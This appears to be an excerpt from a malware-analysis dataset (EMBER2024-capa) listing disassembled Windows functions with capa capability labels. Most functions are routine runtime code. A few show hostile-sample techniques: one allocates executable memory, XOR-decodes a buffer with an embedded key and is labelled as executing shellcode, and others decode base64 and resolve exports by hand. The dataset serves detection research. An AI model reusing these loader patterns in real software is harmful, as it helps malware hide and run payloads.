joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140035ff0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140044184]
test esi, esi
mov rbx, rcx
jle 0x140036120
mov rax, qword [0x140044188]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14003603b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400360c5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140036020
mov rcx, rbx
call fcn.140036a60
test rax, rax
mov rdi, rax
je 0x140036142
mov rax, qword [0x140044188]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140036ba0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140044188]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140036127
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400360be
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400360d0
add dword [0x140044184], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140044188]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400360be
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140035f80
nop dword [rax]
xor esi, esi
jmp 0x140036048
mov rax, qword [0x140044188]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.140035f80
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.140035f80
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400366b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400441e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400441c0]
test rbx, rbx
je 0x14003670c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140036703
test rsi, rsi
je 0x140036703
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400366e8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140036920
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140036958
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140036960
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140036930
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140036958
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140036960
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140036940
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140036958
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140036960
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140036a60
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14003e920]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140036a80
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140036a88
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140036a80
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140036add
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140036ad4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140036a80
add rax, 0x28
cmp rax, r9
jne 0x140036ac0
xor eax, eax
ret

Function at 0x140036ae0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14003e920]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140036aff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140036b08
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140036aff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140036ba0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14003e920]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140036bbf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140036bc8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x180002cb0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CAboutDlg.virtual_640
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xb0], rdx
test rdx, 0xffffffffffff0000
jne 0x18001b4c7
cmp dword [rcx + 0xa8], 0
jne 0x18001b4c7
movzx eax, dx
mov dword [rcx + 0xa8], eax
call fcn.18001a550
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.18001b42c
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180002d50
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r12
sub rsp, 0x40
mov r12d, r9d
mov rsi, r8
mov rbx, rdx
mov rbp, rcx
test r8, r8
jne 0x180002d7e
xor al, al
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r12
pop rsi
pop rbp
ret
mov qword [rsp + 0x68], r13
xor r13d, r13d
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rdx
lea r8d, [r13 + 1]
mov edx, r12d
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x180002dfb
mov ecx, dword [rbx]
mov qword [rsp + 0x60], rdi
inc ecx
call fcn.18002dd98
mov rdi, rax
mov qword [rbp], rax
test rax, rax
je 0x180002df6
mov ecx, dword [rbx]
xor eax, eax
mov qword [rsp + 0x30], r13
inc ecx
lea r8d, [rax + 1]
mov edx, r12d
rep stosb byte [rdi], al
mov r9, qword [rbp]
mov rcx, rsi
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rbx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
setne al
mov rdi, qword [rsp + 0x60]
mov r13, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r12
pop rsi
pop rbp
ret

Function at 0x180002e10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
movsxd rax, dword [rdx + 0x3c]
xor r10d, r10d
mov rdi, r8
mov r9d, dword [rax + rdx + 0x88]
mov rbx, rdx
mov esi, ecx
add r9, rdx
mov r12d, dword [r9 + 0x24]
mov r11d, dword [r9 + 0x20]
mov ebp, dword [r9 + 0x1c]
imul r12d, ecx
mov r9d, dword [r9 + 0x18]
add r11, rdx
add rbp, rdx
add r12, rdx
imul r9d, ecx
test r9d, r9d
je 0x180002ea3
nop word [rax + rax]
mov eax, dword [r11]
mov r8, rdi
add rax, rbx
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180002e93
inc rax
test ecx, ecx
jne 0x180002e80
test edx, edx
je 0x180002ebc
inc r10d
add r11, 4
cmp r10d, r9d
jb 0x180002e70
xor eax, eax
mov rbx, qword [rsp + 0x10]
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r12
ret
imul r10d, esi
movzx ecx, word [r12 + r10*2]
mov eax, dword [rbp + rcx*4]
imul eax, esi
add rax, rbx
jmp 0x180002ea5
Function at 0x180004b20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
push rbp
push rsi
push r13
sub rsp, 0x28
mov r13, rcx
lea rcx, str.8192
mov ebp, edx
call fcn.18002dee4
lea rcx, str.4096
mov ebx, eax
call fcn.18002dee4
mov rdx, rbp
or ebx, eax
mov r9d, 0x40
xor ecx, ecx
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x180004b76
add rsp, 0x28
pop r13
pop rsi
pop rbp
pop rbx
ret
mov qword [rsp + 0x58], r12
xor r12d, r12d
test ebp, ebp
je 0x180004c69
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x20], r15
lea r15d, [r12 + 4]
mov r14, rax
sub r13, rax
lea rsi, str.d3D0d__5K_CBnVuaMhxOvyp8u_PuSuY4t
nop word [rax + rax]
lea rdx, str.DATOS
lea rcx, [0x1800a46b0]
call fcn.180004760
mov edx, 0xa
mov rcx, rax
mov rdi, rax
call fcn.1800049d0
mov rcx, qword [rdi]
xor ebx, ebx
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x180004bf5
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x60]
cmp eax, 0xffffffff
cmove ebx, r15d
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x180004c1a
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x180004c12
or edx, r15d
xor r8d, r8d
call fcn.180003df0
mov ecx, r12d
mov eax, 0xd41d41d5
inc r14
mul r12d
sub ecx, edx
mov eax, r12d
shr ecx, 1
inc r12d
add ecx, edx
shr ecx, 5
imul ecx, ecx, 0x23
sub eax, ecx
movsxd rcx, eax
movzx eax, byte [rcx + rsi]
xor al, byte [r13 + r14 - 1]
mov byte [r14 - 1], al
cmp r12d, ebp
jb 0x180004bb0
mov rsi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x50]
mov rax, rsi
mov r12, qword [rsp + 0x58]
add rsp, 0x28
pop r13
pop rsi
pop rbp
pop rbx
ret
Function at 0x18000ce40
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xb0
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 0x70]
call fcn.18002ed00
lea rax, str.open
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rax
mov rax, qword [rbx + 8]
mov dword [rsp + 0x40], 0x70
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x70], 1
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x18000cece
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x30], 1
lea r9, str.ShellExecuteEx_sei_
mov ecx, eax
lea rax, str.Win32_Error
lea rdx, str..winhyperlink.cpp
mov r8d, 0xeb
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
call fcn.18000e1f0
mov dword [rbx + 0x14], 1
add rsp, 0xb0
pop rbx
ret

Function at 0x18000dbf0
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
cmp qword [rcx + 0x208], 0
mov rbx, rcx
jne 0x18000dc30
lea rdx, [0x18008ab4c]
call fcn.18002f108
mov qword [rbx + 0x208], rax
test rax, rax
jne 0x18000dc30
lea rcx, str.Debug_System_Error_____Debug_log_file_cannot_be_opened._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
xor al, al
add rsp, 0x20
pop rbx
ret
mov al, 1
add rsp, 0x20
pop rbx
ret

Function at 0x18000dc40
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x208]
test rcx, rcx
je 0x18000dc90
mov qword [rsp + 0x30], rdi
call fcn.18002f1a0
test eax, eax
sete dil
test dil, dil
jne 0x18000dc77
lea rcx, str.Debug_System_Error_____Cannot_close_the_debug_log_file._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov al, dil
mov rdi, qword [rsp + 0x30]
mov qword [rbx + 0x208], 0
add rsp, 0x20
pop rbx
ret
mov al, 1
add rsp, 0x20
pop rbx
ret

Function at 0x18000df30
Capabilities:
Print debug messages

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [0x1800a2728]
xor rax, rsp
mov qword [rsp + 0x130], rax
cmp qword [rcx + 0x208], 0
mov rbx, rcx
jne 0x18000df82
lea rdx, [0x18008ab4c]
call fcn.18002f108
mov qword [rbx + 0x208], rax
test rax, rax
jne 0x18000df82
lea rcx, str.Debug_System_Error_____Debug_log_file_cannot_be_opened._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x18000e032
mov rcx, qword [rbx + 0x208]
call fcn.18002f3d4
mov ecx, eax
call fcn.18002f278
cmp eax, 0xffffffff
jne 0x18000dfa7
mov rcx, rbx
call fcn.18000dc40
jmp 0x18000e032
cmp eax, 0x80000
jle 0x18000e032
mov rcx, rbx
call fcn.18000dc40
test al, al
je 0x18000e032
lea rcx, [rsp + 0x20]
mov r8d, 0x104
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcpynA]
lea rcx, [rsp + 0x20]
mov edx, 0x5c
call fcn.18002efc8
test rax, rax
je 0x18000dfeb
inc rax
jmp 0x18000dff0
lea rax, [rsp + 0x20]
lea rdx, str.error.log.old
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rsp + 0x20]
call fcn.18002f248
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.18002f218
test eax, eax
je 0x18000e02a
lea rcx, str.Debug_System_Error_____Cannot_create_a_backup_copy_of_the_debug_log_file_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x18000e032
mov rcx, rbx
call fcn.18000dbf0
mov rax, qword [rbx + 0x208]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.18002d9f0
add rsp, 0x140
pop rbx
ret
Function at 0x180011840
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.180029438
mov rsi, rax
test rax, rax
je 0x1800118bc
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x1800118b7
cmp dword [rbx], 0x40
jb 0x1800118b7
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x1800118b7
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x1800118c0
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x18001861c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x180018684
call fcn.18001a550
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x180018684
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x1800186a6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.180018034
mov esi, eax
test rdi, rdi
je 0x1800186a4
test rbx, rbx
je 0x1800186a4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x18001b488
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CAboutDlg.virtual_640
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xb0], rdx
test rdx, 0xffffffffffff0000
jne 0x18001b4c7
cmp dword [rcx + 0xa8], 0
jne 0x18001b4c7
movzx eax, dx
mov dword [rcx + 0xa8], eax
call fcn.18001a550
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.18001b42c
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x18002f218
Capabilities:
Move file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x18002f22e
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18002f230
xor eax, eax
test eax, eax
je 0x18002f240
mov ecx, eax
call fcn.18002fb38
or eax, 0xffffffff
jmp 0x18002f242
xor eax, eax
add rsp, 0x28
ret
Function at 0x18002f248
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x18002f25e
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18002f260
xor eax, eax
test eax, eax
je 0x18002f270
mov ecx, eax
call fcn.18002fb38
or eax, 0xffffffff
jmp 0x18002f272
xor eax, eax
add rsp, 0x28
ret

Function at 0x18002f40c
Capabilities:
Create directory

Disassembly:
sub rsp, 0x28
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x18002f424
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18002f426
xor eax, eax
test eax, eax
je 0x18002f436
mov ecx, eax
call fcn.18002fb38
or eax, 0xffffffff
jmp 0x18002f438
xor eax, eax
add rsp, 0x28
ret

Function at 0x18002f440
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
mov ebx, edx
test rcx, rcx
jne 0x18002f47a
call fcn.18002fb18
and dword [rax], 0
call fcn.18002faf8
and qword [rsp + 0x20], 0
mov ebx, 0x16
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
call fcn.180031fa8
mov eax, ebx
jmp 0x18002f4ca
test edx, 0xfffffff9
jne 0x18002f44d
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x18002f4a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.18002fb38
call fcn.18002faf8
mov eax, dword [rax]
jmp 0x18002f4ca
test al, 0x10
jne 0x18002f4c8
test al, 1
je 0x18002f4c8
test bl, 2
je 0x18002f4c8
call fcn.18002fb18
mov dword [rax], 5
call fcn.18002faf8
mov dword [rax], 0xd
jmp 0x18002f49a
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x1800307b0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x180030624
Function at 0x180035c7b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1800a2728]
jne 0x18002da0a
rol rcx, 0x10
test cx, 0xffff
jne 0x18002da06
repz ret
ror rcx, 0x10
jmp 0x180035bd4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1800a88f0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1800a89e8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180035c59
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1800a88f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180035c7b
mov rax, qword [rsp + 0x88]
mov qword [0x1800a89e8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1800a8988], rax
mov rax, qword [0x1800a89e8]
mov qword [0x1800a8860], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1800a8970], rax
mov dword [0x1800a8850], 0xc0000409
mov dword [0x1800a8854], 1
mov rax, qword [0x1800a2728]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1800a2730]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1800a88e8], eax
mov ecx, 1
call fcn.18003bc04
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180091020]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1800a88e8], 0
jne 0x180035d02
mov ecx, 1
call fcn.18003bc04
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x18003c8b4
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.180033a20
xor ebx, ebx
mov rdi, rax
cmp qword [0x1800a9608], rbx
jne 0x18003c9ba
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x18003ca8f
lea rdx, [0x1800922d8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18003ca8f
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x1800922c8]
mov rcx, rsi
mov qword [0x1800a9608], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x1800922b0]
mov rcx, rsi
mov qword [0x1800a9610], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x1800a9618], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x1800a9628], rax
test rax, rax
je 0x18003c9b1
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x1800a9620], rax
jmp 0x18003c9c1
mov rax, qword [0x1800a9620]
jmp 0x18003c9c8
mov rax, qword [0x1800a9620]
mov r11, qword [0x1800a9628]
cmp rax, rdi
je 0x18003ca30
cmp r11, rdi
je 0x18003ca30
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x1800a9628]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x18003ca30
test rax, rax
je 0x18003ca30
call rsi
test rax, rax
je 0x18003ca2a
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18003ca2a
test byte [rsp + 0x38], 1
jne 0x18003ca30
bts ebp, 0x15
jmp 0x18003ca6e
mov rcx, qword [0x1800a9610]
cmp rcx, rdi
je 0x18003ca6e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18003ca6e
call rax
mov rbx, rax
test rax, rax
je 0x18003ca6e
mov rcx, qword [0x1800a9618]
cmp rcx, rdi
je 0x18003ca6e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18003ca6e
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1800a9608]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18003ca8f
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x18003ca91
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14004bfa0]
mov dword [rax], 1
mov rax, qword [0x14004bfb0]
mov dword [rax], 1
mov rax, qword [0x14004bfc0]
mov dword [rax], 1
mov rax, qword [0x14004bf50]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
